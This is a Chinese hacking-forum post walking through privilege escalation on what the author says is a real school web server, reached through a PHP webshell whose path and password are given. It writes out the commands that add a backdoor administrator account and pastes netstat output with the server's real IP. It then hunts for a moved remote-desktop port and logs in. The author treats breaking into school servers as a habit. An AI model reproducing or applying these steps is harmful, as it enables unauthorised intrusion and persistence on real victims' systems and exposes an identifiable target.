黑帽联盟

标题: 一次php环境下的提权 [打印本页]

作者: admin    时间: 2016-10-14 17:20
标题: 一次php环境下的提权
Shell:http://案例/student/inc/hack/help.php
Pass:silic
拿到shell,先执行了下DOS命令,如图:
12.png


可以成功执行,只是没看到administrator,有点奇怪,看了一下这几个用户的权限,发现windsasc是管理员,如图:
13.png


这只是个小插曲,无关提权。
然后看了下权限,震惊了一下,看图:
14.png


直接是system啊,那还不是想干嘛就干嘛了?
这种情况真不多,虽然php在安装的时候默认是以system权限运行的,但是现在国内用Php的一般都做了降权处理的,一般都是user权限,不会是默认的system权限,但是这里出现了一个另类,这个站是学校的站,我一直喜欢提学校的服务器,因为学校的服务器权限限制一般都不会很变态,这里正好遇到个另类,我喜欢。
顺便提一下,asp的web的权限一般都是guest,aspx和php的web一般都是user,jsp的web一般都是system。
但是这个例子因为管理员的疏忽大意,导致我们拿到的php的web的权限直接是system,那这权就好提了。

直接添加用户就行了,如图:
15.png
看图,没有回显。

一般的命令执行成功会给出提示的,但是这里没有提示,那就说明命令没有成功执行,不信那就回去看一下现在都有哪些用户:
16.png

没有drvfan这个用户,那就说明命令确实没有成功执行。
这里遇到了壁垒,不要慌,整理一下思路,我们前边执行net user是成功的,说明管理员没有对net.exe做手脚,但是这里添加用户不成功,那就应该是服务器的安全策略的问题了,说简单点,也就是添加用户的时候,用户的密码不能太简单,太简单服务器会拒绝添加,这时候我们只需要把要添加的用户密码设置复杂一点就可以了,最好是数字+字母+符号的组合,并且最低要是14位,好了,分析完了,我们现在再来试试,现在的命令是这样的:
net user drvfan drv!!!25.0**20 /add


我们的密码符合上边我说的要求,好了,来执行吧:
17.png
成功了。
OK,说明我们的思路是正确的,下面把这个用户添加到管理员组:

net localgroup administrators drvfan /add
如图:
18.png
OK,提权完毕。


现在连一下3389:
19.png
连不上,出现这种错误,有2种可能:
1、服务器没开远程桌面,直接本地管理的
2、远程桌面默认端口被修改了
但是,根据经验,一般都是第二种原因,我们来看一下服务器都开了哪些端口:
20.png
一张图显示不完,我直接把结果贴上来吧:
  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:7              0.0.0.0:0              LISTENING
  TCP    0.0.0.0:9              0.0.0.0:0              LISTENING
  TCP    0.0.0.0:13             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:17             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:19             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1029           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1280           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:6059           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING
  TCP    127.0.0.1:1028         0.0.0.0:0              LISTENING
  TCP    127.0.0.1:3295         127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:3296         127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:3297         127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:3298         127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:3299         127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:3300         127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:3301         127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:3302         127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:3306         127.0.0.1:3139         LAST_ACK
  TCP    127.0.0.1:3306         127.0.0.1:3159         LAST_ACK
  TCP    127.0.0.1:3306         127.0.0.1:3181         LAST_ACK
  TCP    127.0.0.1:3306         127.0.0.1:3184         LAST_ACK
  TCP    127.0.0.1:3306         127.0.0.1:3272         LAST_ACK
  TCP    127.0.0.1:3306         127.0.0.1:3284         LAST_ACK
  TCP    127.0.0.1:3306         127.0.0.1:3286         LAST_ACK
  TCP    210.44.36.11:80        61.135.249.211:11496   TIME_WAIT
  TCP    210.44.36.11:80        61.135.249.211:16431   TIME_WAIT
  TCP    210.44.36.11:80        61.135.249.211:48703   TIME_WAIT
  TCP    210.44.36.11:80        61.135.249.211:58504   ESTABLISHED
  TCP    210.44.36.11:80        114.232.158.200:4453   TIME_WAIT
  TCP    210.44.36.11:80        119.189.116.34:2941    ESTABLISHED
  TCP    210.44.36.11:80        122.78.211.165:27948   ESTABLISHED
  TCP    210.44.36.11:80        192.168.15.249:1928    ESTABLISHED
  TCP    210.44.36.11:80        203.208.60.198:57457   ESTABLISHED
  TCP    210.44.36.11:80        218.28.124.194:1162    ESTABLISHED
  TCP    210.44.36.11:80        222.171.177.98:51344   ESTABLISHED
  TCP    210.44.36.11:139       0.0.0.0:0              LISTENING
  UDP    0.0.0.0:7              *:*
  UDP    0.0.0.0:9              *:*
  UDP    0.0.0.0:13             *:*
  UDP    0.0.0.0:17             *:*
  UDP    0.0.0.0:19             *:*
  UDP    0.0.0.0:1645           *:*
  UDP    0.0.0.0:1646           *:*
  UDP    0.0.0.0:1812           *:*
  UDP    0.0.0.0:1813           *:*
  UDP    127.0.0.1:123          *:*
  UDP    127.0.0.1:1026         *:*
  UDP    127.0.0.1:1027         *:*
  UDP    210.44.36.11:123       *:*
  UDP    210.44.36.11:137       *:*
  UDP    210.44.36.11:138       *:*
要知道,一般的,管理员就算改了远程桌面的端口,也是大于1024的端口,所以我们只用找找大于1024的端口即可。

找到了下面几个可疑端口:
1025,1029,1280,3306,6059,47001

这几个找到的端口里,3306是mysql数据库的默认端口,并且已经确定这个网站用的是mysql数据库,看一下网站的数据库连接文件吧:
21.png
可以看到,确实是用的mysql,那么3306端口就被排除了。

剩下的几个端口,如果不出意外,其中就有一个是远程桌面的端口,那么,一个一个试吧,我在试到1280端口的时候,出现了登陆界面,如图:
22.png


OK,万事俱备,登陆吧:
23.png
OK,提权完毕。





欢迎光临 黑帽联盟 (https://bbs.cnblackhat.com/) Powered by Discuz! X2.5